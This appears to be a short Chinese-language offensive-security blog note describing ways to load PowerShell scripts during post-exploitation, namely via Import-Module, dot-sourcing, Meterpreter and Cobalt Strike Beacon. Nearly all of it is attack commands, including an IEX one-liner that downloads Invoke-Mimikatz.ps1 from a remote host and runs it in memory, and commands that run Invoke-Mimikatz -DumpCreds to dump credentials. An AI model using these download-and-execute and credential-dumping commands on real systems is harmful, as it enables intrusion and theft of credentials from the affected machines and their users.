加载 PowerShell 脚本

2019-07-24 2019-07-24 About 200 words One minute

Contents

通过 Module, IEX, Metasploit, Cobalt Strike 方式加载 PowerShell 脚本

Module

通过导入模块的方式加载 PowerShell 脚本.

1

Import-Module .\Invoke-Mimikatz.ps1

1

. .\Invoke-Mimikatz.ps1

通过 Invoke-Expression 命令从网络加载 PowerShell 脚本.

1

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/Invoke-Mimikatz.ps1')

通过 Meterpreter 中的 powershell 模块加载 PowerShell 脚本.

1
2
3


load powershell
powershell_import /home/exp10it/Invoke-Mimikatz.ps1
powershell_execute Invoke-Mimikatz -DumpCreds

通过 Beacon 命令控制台加载 PowerShell 脚本.

1
2


powershell-import /home/exp10it/Invoke-Mimikatz.ps1
powershell-execute Invoke-Mimikatz -DumpCreds

PowerShell 默认限制输出长度, 需手动更改.

1

$FormatEnumerationLimit = -1